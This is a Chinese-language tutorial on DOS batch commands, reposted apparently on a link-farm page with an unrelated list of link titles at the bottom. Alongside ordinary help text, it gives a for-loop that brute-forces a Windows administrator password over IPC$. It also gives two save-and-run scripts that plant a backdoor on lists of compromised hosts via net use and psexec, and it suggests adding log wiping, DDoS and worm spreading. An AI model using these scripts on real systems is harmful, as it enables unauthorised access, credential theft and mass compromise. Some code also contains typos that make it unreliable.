MIN 開始時窗口最小化
SEPARATE 在分開的空間內開始 16 位 Windows 程序
HIGH 在 HIGH 優先順序類別開始應用程序
REALTIME 在 REALTIME 優先順序類別開始應用程序
WAIT 啟動應用程序並等候它結束
parameters 這些為傳送到命令/程序的參數
執行的應用程序是 32-位 GUI 應用程序時,CMD.EXE 不等應用程序終止就返回命令提示。如果在命令腳本內執行,該新行為則不會發生。
8.choice 命令
choice 使用此命令可以讓用戶輸入一個字元,從而運行不同的命令。使用時應該加/c:參數,c:後應寫提示可輸入的字元,之間無空格。它的返回碼為1234......
如: choice /c:dme defrag,mem,end
將顯示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的內容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (應先判斷數值最高的錯誤碼)
if errorlevel 2 goto mem
if errotlevel 1 goto end

:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye

此文件運行後,將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ,然後if語句將作出判斷,d表示執行標號為defrag的程序段,m表示執行標號為mem的程序段,e表示執行標號為end的程序段,每個程序段最後都以goto end將程序跳到end標號處,然後程序將顯示good bye,文件結束。

9.If 命令

if 表示將判斷是否符合規定的條件,從而決定執行不同的命令。 有三種格式:
1、if "參數" == "字元串" 待執行的命令
參數如果等於指定的字元串,則條件成立,運行命令,否則運行下一句。(注意是兩個等號)
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms

2、if exist 文件名 待執行的命令
如果有指定的文件,則條件成立,運行命令,否則運行下一句。
如if exist config.sys edit config.sys

3、if errorlevel / if not errorlevel 數字 待執行的命令
如果返回碼等於指定的數字,則條件成立,運行命令,否則運行下一句。
如if errorlevel 2 goto x2
DOS程序運行時都會返回一個數字給DOS,稱為錯誤碼errorlevel或稱返回碼,常見的返回碼為0、1。

10.for 命令
for 命令是一個比較復雜的命令,主要用於參數在指定的范圍內循環執行命令。
在批處理文件中使用 FOR 命令時,指定變數請使用 %%variable

for {%variable│%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一個單一字母可替換的參數。
(set) 指定一個或一組文件。可以使用通配符。
command 指定對每個文件執行的命令。
command-parameters 為特定命令指定參數或命令行開關。
在批處理文件中使用 FOR 命令時,指定變數請使用 %%variable
而不要用 %variable。變數名稱是區分大小寫的,所以 %i 不同於 %I

如果命令擴展名被啟用,下列額外的 FOR 命令格式會受到
支持:

FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含通配符,則指定與目錄名匹配,而不與文件
名匹配。

FOR /R [[drive:]path] %variable IN (set) DO command [command-

檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的
FOR 語句。如果在 /R 後沒有指定目錄,則使用當前
目錄。如果集僅為一個單點(.)字元,則枚舉該目錄樹。

FOR /L %variable IN (start,step,end) DO command [command-para

該集表示以增量形式從開始到結束的一個數字序列。
因此,(1,1,5) 將產生序列 1 2 3 4 5,(5,-1,1) 將產生
序列 (5 4 3 2 1)。

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN ('command') DO command

或者,如果有 usebackq 選項:

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN ('command') DO command

filenameset 為一個或多個文件名。繼續到 filenameset 中的
下一個文件之前,每份文件都已被打開、讀取並經過處理。
處理包括讀取文件,將其分成一行行的文字,然後將每行
解析成零或更多的符號。然後用已找到的符號字元串變數值
調用 For 循環。以默認方式,/F 通過每個文件的每一行中分開
的第一個空白符號。跳過空白行。您可通過指定可選 "options"
參數替代默認解析操作。這個帶引號的字元串包括一個或多個
指定不同解析選項的關鍵字。這些關鍵字為:

eol=c - 指一個行注釋字元的結尾(就一個)
skip=n - 指在文件開始時忽略的行數。
delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的
默認分隔符集。
tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代
的 for 本身。這會導致額外變數名稱的
格式為一個范圍。通過 nth 符號指定 m
符號字元串中的最後一個字元星號,
那麼額外的變數將在最後一個符號解析之
分配並接受行的保留文本。
usebackq - 指定新語法已在下類情況中使用:
在作為命令執行一個後引號的字元串並且
引號字元為文字字元串命令並允許在 fi
中使用雙引號擴起文件名稱。

sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

會分析 myfile.txt 中的每一行,忽略以分號打頭的那些行,將
每行中的第二個和第三個符號傳遞給 for 程序體;用逗號和/或
空格定界符號。請注意,這個 for 程序體的語句引用 %i 來
取得第二個符號,引用 %j 來取得第三個符號,引用 %k
來取得第三個符號後的所有剩餘符號。對於帶有空格的文件
名,您需要用雙引號將文件名括起來。為了用這種方式來使
用雙引號,您還需要使用 usebackq 選項,否則,雙引號會
被理解成是用作定義某個要分析的字元串的。

%i 專門在 for 語句中得到說明,%j 和 %k 是通過
tokens= 選項專門得到說明的。您可以通過 tokens= 一行
指定最多 26 個符號,只要不試圖說明一個高於字母 'z' 或
'Z' 的變數。請記住,FOR 變數是單一字母、分大小寫和全局的;
同時不能有 52 個以上都在使用中。

您還可以在相鄰字元串上使用 FOR /F 分析邏輯;方法是,
用單引號將括弧之間的 filenameset 括起來。這樣,該字元
串會被當作一個文件中的一個單一輸入行。

最後,您可以用 FOR /F 命令來分析命令的輸出。方法是,將
括弧之間的 filenameset 變成一個反括字元串。該字元串會
被當作命令行,傳遞到一個子 CMD.EXE,其輸出會被抓進
內存,並被當作文件分析。因此,以下例子:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

會枚舉當前環境中的環境變數名稱。

另外,FOR 變數參照的替換已被增強。您現在可以使用下列
選項語法:

~I - 刪除任何引號("),擴充 %I
%~fI - 將 %I 擴充到一個完全合格的路徑名
%~dI - 僅將 %I 擴充到一個驅動器號
%~pI - 僅將 %I 擴充到一個路徑
%~nI - 僅將 %I 擴充到一個文件名
%~xI - 僅將 %I 擴充到一個文件擴展名
%~sI - 擴充的路徑只含有短名
%~aI - 將 %I 擴充到文件的文件屬性
%~tI - 將 %I 擴充到文件的日期/時間
%~zI - 將 %I 擴充到文件的大小
%~$PATH:I - 查找列在路徑環境變數的目錄,並將 %I 擴充
到找到的第一個完全合格的名稱。如果環境變數
未被定義,或者沒有找到文件,此組合鍵會擴充
空字元串

可以組合修飾符來得到多重結果:

%~dpI - 僅將 %I 擴充到一個驅動器號和路徑
%~nxI - 僅將 %I 擴充到一個文件名和擴展名
%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名
%~dp$PATH:i - 查找列在路徑環境變數的目錄,並將 %I 擴充
到找到的第一個驅動器號和路徑。
%~ftzaI - 將 %I 擴充到類似輸出線路的 DIR

在以上例子中,%I 和 PATH 可用其他有效數值代替。%~ 語法
用一個有效的 FOR 變數名終止。選取類似 %I 的大寫變數名
比較易讀,而且避免與不分大小寫的組合鍵混淆。

以上是MS的官方幫助,下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。

sample2:

利用For命令來實現對一台目標Win2k主機的暴力密碼破解。
我們用net use \\ip\ipc$ "password" /u:"administrator"來嘗試這和目標主機進行連接,當成功時記下密碼。
最主要的命令是一條:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%來表示admin的密碼,在dict.txt中這個取i%的值用net use 命令來連接。然後將程序運行結果傳遞給find命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"│find ":命令成功完成">>D:\ok.txt ,這樣就ko了。

sample3:

你有沒有過手裡有大量肉雞等著你去種後門+木馬呢?,當數量特別多的時候,原本很開心的一件事都會變得很郁悶:)。文章開頭就談到使用批處理文件,可以簡化日常或重復性任務。那麼如何實現呢?呵呵,看下去你就會明白了。

主要命令也只有一條:(在批處理文件中使用 FOR 命令時,指定變數使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法請參見上面的sample1,在這里它表示按順序將victim.txt中的內容傳遞給door.bat中的參數%i %j %k。
而cultivate.bat無非就是用net use命令來建立IPC$連接,並木馬+後門到victim,然後用返回碼(If errorlever =)來篩選成功種植後門的主機,並echo出來,或者echo到指定的文件。
delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這里你也一定明白這victim.txt里的內容是什麼樣的了。應該根據%%i %%j %%k表示的對象來排列,一般就是 ip password username。
代碼雛形:
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------

------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection ............OK
@ windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec \\%1 c:\winnt\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
這只是一個自動種植後門批處理的雛形,兩個批處理和後門程序(Windrv32.exe),PSexec.exe需放在統一目錄下.批處理內容
尚可擴展,例如:加入清除日誌+DDOS的功能,加入定時添加用戶的功能,更深入一點可以使之具備自動傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究.

二.如何在批處理文件中使用參數
批處理中可以使用參數,一般從1%到 9%這九個,當有多個參數時需要用shift來移動,這種情況並不多見,我們就不考慮它了。
sample1:fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
這個例子用於連續地格式化幾張軟盤,所以用的時候需在dos窗口輸入fomat.bat a,呵呵,好像有點畫蛇添足了~
sample2:
當我們要建立一個IPC$連接地時候總要輸入一大串命令,弄不好就打錯了,所以我們不如把一些固定命令寫入一個批處理,把肉雞地ip password username 當著參數來賦給這個批處理,這樣就不用每次都打命令了。
@echo off
@net use \\1%\ipc$ "2%" /u:"3%" 注意哦,這里PASSWORD是第二個參數。
@if errorlevel 1 echo connection failed
怎麼樣,使用參數還是比較簡單的吧?你這么帥一定學會了.No.3
三.如何使用組合命令(Compound Command)

1.&

Usage:第一條命令 & 第二條命令 [& 第三條命令...]

用這種方法可以同時執行多條命令,而不管命令是否執行成功

Sample:
C:\>dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:51 .
2002-05-14 23:51 ..
2002-05-14 23:51 14 sometips.gif

2.&&

Usage:第一條命令 && 第二條命令 [&& 第三條命令...]

用這種方法可以同時執行多條命令,當碰到執行出錯的命令後將不執行後面的命令,如果一直沒有出錯則一直執行完所有命令;

Sample:
C:\>dir z: && dir c:\Ex4rch
The system cannot find the path specified.

C:\>dir c:\Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:55 .
2002-05-14 23:55 ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.

在做備份的時候可能會用到這種命令會比較簡單,如:
dir file&://192.168.0.1/database/backup.mdb && file&://192.168.0.1/database/backup.mdb E:\backup
如果遠程伺服器上存在backup.mdb文件,就執行命令,若不存在該文件則不執行命令。這種用法可以替換IF exist了 :)

3.││

Usage:第一條命令 ││ 第二條命令 [││ 第三條命令...]

用這種方法可以同時執行多條命令,當碰到執行正確的命令後將不執行後面的命令,如果沒有出現正確的命令則一直執行完所有命令;

Sample:
C:\Ex4rch>dir sometips.gif ││ del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of C:\Ex4rch

2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free

組合命令使用的例子:
sample:
@ trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt

四、管道命令的使用

1.│ 命令
Usage:第一條命令 │ 第二條命令 [│ 第三條命令...]
將第一條命令的結果作為第二條命令的參數來使用,記得在unix中這種方式很常見。

sample:
time /t>>D:\IP.log
netstat -n -p tcp│find ":3389">>D:\IP.log
start Explorer
看出來了么?用於終端服務允許我們為用戶自定義起始的程序,來實現讓用戶運行下面這個bat,以獲得登錄用戶的IP。

2.>、>>輸出重定向命令
將一條命令或某個程序輸出結果的重定向到特定文件中, > 與 >>的區別在於,>會清除調原有文件中的內容後寫入指定文件,而>>只會追加內容到指定文件中,而不會改動其中的內容。

sample1:
echo hello world>c:\hello.txt (stupid example?)

sample2:
時下DLL木馬盛行,我們知道system32是個捉迷藏的好地方,許多木馬都削尖了腦袋往那裡鑽,DLL馬也不例外,針對這一點我們可以在安裝好系統和必要的應用程序後,對該目錄下的EXE和DLL文件作一個記錄:
運行CMD--轉換目錄到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
這樣所有的EXE和DLL文件的名稱都被分別記錄到exeback.txt和dllback.txt中,
日後如發現異常但用傳統的方法查不出問題時,則要考慮是不是系統中已經潛入DLL木馬了.
這時我們用同樣的命令將system32下的EXE和DLL文件記錄到另外的exeback1.txt和dllback1.txt中,然後運行:
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比較前後兩次的DLL和EXE文件,並將結果輸入到diff.txt中),這樣我們就能發現一些多出來的DLL和EXE文件,然後通過查看創建時間、版本、是否經過壓縮等就能夠比較容易地判斷出是不是已經被DLL木馬光顧了。沒有是最好,如果有的話也不要直接DEL掉,先用regsvr32 /u trojan.dll將後門DLL文件注銷掉,再把它移到回收站里,若系統沒有異常反映再將之徹底刪除或者提交給殺毒軟體公司。

3.< 、>& 、<&
< 從文件中而不是從鍵盤中讀入命令輸入。
>& 將一個句柄的輸出寫入到另一個句柄的輸入中。
<& 從一個句柄讀取輸入並將其寫入到另一個句柄輸出中。
這些並不常用,也就不多做介紹。

No.5
五.如何用批處理文件來操作注冊表

在入侵過程中經常回操作注冊表的特定的鍵值來實現一定的目的,例如:為了達到隱藏後門、木馬程序而刪除Run下殘余的鍵值。或者創建一個服務用以載入後門。當然我們也會修改注冊表來加固系統或者改變系統的某個屬性,這些都需要我們對注冊表操作有一定的了解。下面我們就先學習一下如何使用.REG文件來操作注冊表.(我們可以用批處理來生成一個REG文件)
關於注冊表的操作,常見的是創建、修改、刪除。

1.創建
創建分為兩種,一種是創建子項(Subkey)

我們創建一個文件,內容如下:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]

然後執行該腳本,你就已經在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下創建了一個名字為"hacker"的子項。

閱讀全文

與dos命令goto相關的資料

熱點內容
APP雲南移動服務密碼怎麼改 瀏覽:748
鬼青春雜作少兒不宜電影 瀏覽:261
小說網站流量排行 瀏覽:457
兒童電影搞笑免費 瀏覽:108
我的世界安卓手機怎麼換號 瀏覽:503
2b2t的伺服器是什麼 瀏覽:213
主角姓秦的重生秦家的小說 瀏覽:361
php十大設計原則 瀏覽:640
怎麼能看出來哪個app有會員 瀏覽:323
艾倫演的警察五點下班什麼電影 瀏覽:646
床戲微電影 瀏覽:534
瀟湘溪苑嬌妻怕打針 瀏覽:432
泰國科幻電影機器人 瀏覽:693
十部頂級粵語電影 瀏覽:588
黑色豪門之純情老婆全本免費 瀏覽:290
最美人物微電影名字 瀏覽:62
德國愛情電影推薦 瀏覽:859
好看的,每天更新的網址推薦 瀏覽:910
五行拳電影 瀏覽:788